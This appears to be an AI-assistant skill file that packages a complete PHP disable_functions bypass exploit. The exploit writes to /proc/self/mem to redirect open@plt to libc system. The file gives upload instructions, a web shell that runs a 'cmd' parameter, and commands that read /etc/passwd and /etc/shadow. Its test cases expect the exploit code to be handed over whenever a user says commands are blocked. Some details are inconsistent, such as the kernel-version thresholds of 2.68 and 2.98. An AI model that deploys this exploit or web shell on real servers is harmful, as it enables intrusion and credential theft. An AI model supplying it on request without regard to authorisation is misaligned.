PHP disable_functions Bypass via /proc/self/mem
Overview
This skill provides a technique to bypass PHP's disable_functions configuration by directly manipulating the process memory through /proc/self/mem. This allows execution of disabled functions like system(), exec(), shell_exec(), etc.
Prerequisites
All conditions must be met:
- Kernel version >= 2.68 - Required for
/proc/self/memaccess - PHP-CGI or PHP-FPM - mod_php does not read
/proc/self/mem - x64 architecture - The exploit is written for x64 (x32 requires modification)
- open_basedir=off OR bypass available - Must be able to read
/lib/and/proc/directories - Write access to
/proc/self/mem- The process must have permission to write to its own memory
When to Use This Skill
- User reports
system(),exec(), or similar functions are disabled in PHP - Security testing on PHP applications with function restrictions
- Need to execute system commands from restricted PHP environment
- PHP
disable_functionsdirective is blocking required functionality
How It Works
The exploit works by:
- Parsing the PHP binary to find the
open@pltoffset - Parsing libc to find
systemandopensymbol offsets - Reading
/proc/self/memto get the actual address ofopen@plt - Calculating libc base from the
openaddress - Calculating system address using libc base + system offset
- Writing to
/proc/self/memto replaceopen@pltwithsystemaddress - Calling
readfile()which now executessystem()instead
Exploit Code
Save this as disable_functions_bypass.php:
<?php
/*
PHP disable_functions bypass via /proc/self/mem
Author: Beched, RDot.Org
Source: http://blog.safebuff.com/2016/05/06/disable-functions-bypass/
Requirements:
1. kernel >= 2.68
2. PHP-CGI or PHP-FPM (mod_php does not read /proc/self/mem)
3. x64 architecture (x32 requires modification)
4. open_basedir=off (or ability to bypass open_basedir to read /lib/ and /proc/)
*/
function packlli($value) {
$higher = ($value & 0xffffffff00000000) >> 32;
$lower = $value & 0x00000000ffffffff;
return pack('V2', $lower, $higher);
}
function unp($value) {
return hexdec(bin2hex(strrev($value)));
}
function parseelf($bin_ver, $rela = false) {
$bin = file_get_contents($bin_ver);
$e_shoff = unp(substr($bin, 0x28, 8));
$e_shentsize = unp(substr($bin, 0x3a, 2));
$e_shnum = unp(substr($bin, 0x3c, 2));
$e_shstrndx = unp(substr($bin, 0x3e, 2));
for($i = 0; $i < $e_shnum; $i += 1) {
$sh_type = unp(substr($bin, $e_shoff + $i * $e_shentsize + 4, 4));
if($sh_type == 11) { // SHT_DYNSYM
$dynsym_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));
$dynsym_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
$dynsym_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8));
}
elseif(!isset($strtab_off) && $sh_type == 3) { // SHT_STRTAB
$strtab_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));
$strtab_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
}
elseif($rela && $sh_type == 4) { // SHT_RELA
$relaplt_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));
$relaplt_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
$relaplt_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8));
}
}
if($rela) {
for($i = $relaplt_off; $i < $relaplt_off + $relaplt_size; $i += $relaplt_entsize) {
$r_offset = unp(substr($bin, $i, 8));
$r_info = unp(substr($bin, $i + 8, 8)) >> 32;
$name_off = unp(substr($bin, $dynsym_off + $r_info * $dynsym_entsize, 4));
$name = '';
$j = $strtab_off + $name_off - 1;
while($bin[++$j] != "\0") {
$name .= $bin[$j];
}
if($name == 'open') {
return $r_offset;
}
}
}
else {
for($i = $dynsym_off; $i < $dynsym_off + $dynsym_size; $i += $dynsym_entsize) {
$name_off = unp(substr($bin, $i, 4));
$name = '';
$j = $strtab_off + $name_off - 1;
while($bin[++$j] != "\0") {
$name .= $bin[$j];
}
if($name == '__libc_system') {
$system_offset = unp(substr($bin, $i + 8, 8));
}
if($name == '__open') {
$open_offset = unp(substr($bin, $i + 8, 8));
}
}
return array($system_offset, $open_offset);
}
}
echo "[*] PHP disable_functions procfs bypass (coded by Beched, RDot.Org)\n";
// Check architecture
if(strpos(php_uname('a'), 'x86_64') === false) {
echo "[-] This exploit is for x64 Linux. Exiting\n";
exit;
}
// Check kernel version
if(substr(php_uname('r'), 0, 4) < 2.98) {
echo "[-] Too old kernel (< 2.98). Might not work\n";
}
echo "[*] Trying to get open@plt offset in PHP binary\n";
$open_php = parseelf('/proc/self/exe', true);
if($open_php == 0) {
echo "[-] Failed to find open@plt. Exiting\n";
exit;
}
echo '[+] Offset is 0x' . dechex($open_php) . "\n";
// Find libc location
$maps = file_get_contents('/proc/self/maps');
preg_match('#\s+(/.+libc\-.+)#', $maps, $r);
echo "[*] Libc location: $r[1]\n";
echo "[*] Trying to get open and system symbols from Libc\n";
list($system_offset, $open_offset) = parseelf($r[1]);
if($system_offset == 0 or $open_offset == 0) {
echo "[-] Failed to find symbols. Exiting\n";
exit;
}
echo "[+] Got them. Seeking for address in memory\n";
// Read open@plt address from memory
$mem = fopen('/proc/self/mem', 'rb');
fseek($mem, $open_php);
$open_addr = unp(fread($mem, 8));
echo '[*] open@plt addr: 0x' . dechex($open_addr) . "\n";
// Calculate addresses
$libc_start = $open_addr - $open_offset;
$system_addr = $libc_start + $system_offset;
echo '[*] system@plt addr: 0x' . dechex($system_addr) . "\n";
echo "[*] Rewriting open@plt address\n";
$mem = fopen('/proc/self/mem', 'wb');
fseek($mem, $open_php);
if(fwrite($mem, packlli($system_addr))) {
echo "[+] Address written. Executing cmd\n";
// Now readfile() will execute system() instead
readfile('/usr/bin/id');
exit;
}
echo "[-] Write failed. Exiting\n";
?>
Usage Examples
Basic Execution
# Upload the exploit file
php disable_functions_bypass.php
# Or via web if accessible
http://target/disable_functions_bypass.php
Custom Command Execution
Modify the last line to execute different commands:
// Instead of:
readfile('/usr/bin/id');
// Use:
readfile('/bin/ls');
readfile('/etc/passwd');
readfile('/bin/cat /etc/shadow');
Web Shell Integration
For persistent access, create a web shell:
<?php
// Include the bypass code first, then:
if(isset($_GET['cmd'])) {
readfile($_GET['cmd']);
}
?>
Verification Commands
Before attempting the exploit, verify prerequisites:
# Check kernel version
uname -r
# Check PHP SAPI
php -r 'echo php_sapi_name();'
# Check architecture
php -r 'echo php_uname("a");'
# Check if /proc/self/mem is accessible
php -r 'var_dump(file_exists("/proc/self/mem"));'
# Check disable_functions
php -i | grep disable_functions
Troubleshooting
| Issue | Solution |
|---|---|
| "Failed to find open@plt" | PHP binary may be stripped or use different linking |
| "Write failed" | Process lacks write permission to /proc/self/mem |
| "Too old kernel" | Kernel < 2.68 does not support this technique |
| "This exploit is for x64" | Modify code for x32 architecture |
| "open_basedir restriction" | Need to bypass open_basedir first |
Alternative Techniques
If this bypass fails, consider:
- PHP filter wrappers -
php://filterfor encoding bypass - Object injection - PHP object deserialization exploits
- Extension loading -
dl()if not disabled - SUID binaries - Setuid PHP binaries
- Source code injection - Write and include PHP files
Security Notes
⚠️ AUTHORIZED USE ONLY - This technique should only be used:
- On systems you own or have explicit permission to test
- During authorized penetration testing engagements
- For educational purposes in controlled environments
⚠️ DETECTION - This technique may be detected by:
- File integrity monitoring (FIM) on /proc/self/mem access
- Process monitoring tools
- SELinux/AppArmor policies
- Intrusion detection systems (IDS)
References
Test Cases
Test Case 1: Basic Bypass
Prompt: "PHP has disable_functions enabled blocking system(). How can I execute commands?" Expected: Skill triggers, provides exploit code with prerequisites
Test Case 2: Security Testing Context
Prompt: "I'm doing authorized pentesting on a PHP app. The server has exec() disabled. What bypass techniques exist?" Expected: Skill triggers, provides this technique with authorization warnings
Test Case 3: Prerequisites Check
Prompt: "Can I use /proc/self/mem bypass on PHP-FPM with kernel 3.10?" Expected: Skill triggers, confirms prerequisites are met